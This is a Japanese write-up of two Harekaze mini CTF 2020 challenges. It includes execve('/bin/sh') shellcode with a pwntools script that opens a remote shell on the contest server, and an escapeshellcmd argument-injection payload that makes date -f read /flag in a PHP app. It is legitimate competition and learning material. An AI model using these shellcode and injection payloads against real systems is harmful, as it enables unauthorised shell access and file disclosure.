Harekaze mini CTF 2020 writeup
https://ctf.harekaze.com/ctf.harekaze.com
目次
成績
etherknotとして出場しました。
私はWebとPwnのwarmupを解きました。
Writeup
Pwn
Shellcode
shellcode.c
#include <stdio.h> #include <string.h> #include <sys/mman.h> #include <unistd.h> char binsh[] = "/bin/sh"; int main(void) { setbuf(stdin, NULL); setbuf(stdout, NULL); setbuf(stderr, NULL); printf("Present for you! \"/bin/sh\" is at %p\n", binsh); puts("Execute execve(\"/bin/sh\", NULL, NULL)"); char *code = mmap(NULL, 0x1000, PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0); // Clear rsp and rbp memcpy(code, "\x48\x31\xe4\x48\x31\xed", 6); read(0, code + 6, 0x100); mprotect(code, 0x1000, PROT_READ | PROT_EXEC); ((void (*)())(code))(); return 0; }
関数ポインタがあったり、mmapされた領域がPROT_EXECになっていたりするので題名通りshellcodeを入力して呼出させれば良さそう。
ただ呼び出し時はrspとrbpが0になるみたいなので注意が必要(?)
私はいきなりshellcodeをバイナリで書くことはできいのでアセンブリを書きました。
/bin/sh
の場所は接続すると表示してくれるのでそこを指定します。
$ nc 20.48.83.165 20005 Present for you! "/bin/sh" is at 0x404060 Execute execve("/bin/sh", NULL, NULL)
shellcode.s
.globl _shell _shell: mov rdi, 0x404060 mov rsi, 0 mov rdx, 0 mov rax, 59 syscall
これをコンパイルしてobjdumpで表示してコピーして体裁を整えます。
この辺りはもう少し良い方法がありそうなので他のwriteupをチェックしようと思います。
$ gcc -c shellcode.s $ objdump -d -M intel shellcode.o shellcode.o: file format elf64-x86-64 Disassembly of section .text: 0000000000000000 <_shell>: 0: 48 c7 c7 60 40 40 00 mov rdi,0x404060 7: 48 c7 c6 00 00 00 00 mov rsi,0x0 e: 48 c7 c2 00 00 00 00 mov rdx,0x0 15: 48 c7 c0 3b 00 00 00 mov rax,0x3b 1c: 0f 05 syscall
これを送信するコードを書きます。 solve.py
from pwn import * context.binary = './shellcode' p = remote('20.48.83.165', 20005) data = p.recvuntil('Execute execve("/bin/sh", NULL, NULL)') binsh = data.split()[6] log.warn(binsh) shellcode = '\x48\xc7\xc7\x60\x40\x40\x00\x48\xc7\xc6\x00\x00\x00\x00\x48\xc7\xc2\x00\x00\x00\x00\x48\xc7\xc0\x3b\x00\x00\x00\x0f\x05' p.sendline(shellcode) p.interactive()
flagは/home/shellcode/flagにあるので表示させます。
$ python3 solve.py [*] '/home/vagrant/work/ctf/HarekazeminiCTF/pwn/Shellcode/distfiles/shellcode' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) [+] Opening connection to 20.48.83.165 on port 20005: Done [!] 0x404060 [*] Switching to interactive mode $ cat /home/shellcode/flag HarekazeCTF{W3lc0me_7o_th3_pwn_w0r1d!}
Web
What time is it now?
index.php
<?php if (isset($_GET['source'])) { highlight_file(__FILE__); exit; } $format = isset($_REQUEST['format']) ? (string)$_REQUEST['format'] : '%H:%M:%S'; $result = shell_exec("date '+" . escapeshellcmd($format) . "' 2>&1"); ?> <!doctype html> <html lang="en"> <head> <meta charset="utf-8"> <title>What time is it now?</title> <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.4.1/css/bootstrap.min.css" integrity="sha384-Vkoo8x4CGsO3+Hhxv8T/Q5PaXtkKtu6ug5TOeNV6gBiFeWPGFN9MuhOf23Q9Ifjh" crossorigin="anonymous"> </head> <body> <header> <nav class="navbar navbar-expand-lg navbar-dark bg-dark"> <div class="container"> <a class="navbar-brand" href="index.php">What time is it now?</a> <div class="navbar-collapse"> <ul class="navbar-nav mr-auto"> <li class="nav-item"><a class="nav-link" href="?source">Source Code</a></li> </ul> </div> </div> </nav> </header> <main> <section class="jumbotron text-center"> <div class="container"> <h1 class="jumbotron-heading"><span class="text-muted">It's</span> <?= isset($result) ? $result : '?' ?><span class="text-muted">.</span></h1> <p> <a href="?format=%H:%M:%S" class="btn btn-outline-secondary">What time is it now?</a> <a href="?format=%Y-%m-%d" class="btn btn-outline-secondary">What is the date today?</a> <a href="?format=%s" class="btn btn-outline-secondary">What time is it now in UNIX time?</a> </p> </div> </section> </main> <script src="https://code.jquery.com/jquery-3.4.1.slim.min.js" integrity="sha384-J6qa4849blE2+poT4WnyKhv5vZF5SrPo0iEjwBvKU7imGFAV0wwj1yYfoRSJoZ+n" crossorigin="anonymous"></script> <script src="https://cdn.jsdelivr.net/npm/popper.js@1.16.0/dist/umd/popper.min.js" integrity="sha384-Q6E9RHvbIyZFJoft+2mJbHaEWldlvI9IOYy5n3zV9zzTtmI3UksdQRVvoxMfooAo" crossorigin="anonymous"></script> <script src="https://stackpath.bootstrapcdn.com/bootstrap/4.4.1/js/bootstrap.min.js" integrity="sha384-wfSDF2E50Y2D1uUdj0O3uMBJnjuUD4Ih7YwaYd1iqfktj0Uod8GCExl3Og8ifwB6" crossorigin="anonymous"></script> </body> </html>
Dockerfile
FROM php:7.4-apache ADD public/index.php /var/www/html/ RUN chmod -R 755 /var/www RUN chown root:root /var/www RUN echo "HarekazeCTF{<censored>}" > "/flag" RUN chmod -R 755 /flag*
ソースを見てみるといかにもshell_execとescapeshellcmdが怪しそうです。
なので少しescapeshellcmdについて調べると関数の脆弱性に関する記事がいくつか出てきました。
PHPのescapeshellcmdの危険性 | 徳丸浩の日記
escapeshellcmdは'
や"
が対になっていない場合しかエスケープしないみたいです。
その特性を使って攻撃します。
dateコマンドのオプションを調べると-f
--file
というオプションがあることがわかりました。
これを使うと
$ date -f flag.txt date: invalid date ‘flag{hoge}’
dateコマンドで使えない形式のものは上記のようにエラー出力として表示されるみたいです。
さらに都合の良いことにindex.phpをみるとstderrがstdoutにリダイレクトされています。
http://harekaze2020.317de643c0ae425482fd.japaneast.aksapp.io/what-time-is-it-now/?format=%s%27+-f+%27/flag
でアクセスします。
内部的にはdate '+%s'+-f+'/flag' 2>&1
が組み立てられます。
結果。
最初配布ファイルに気づかずflagの位置や名前が分からないから無理だ、となっていましたがリーダーからDockerfileの存在を知らされ無事解決しました。
チームって良いですね。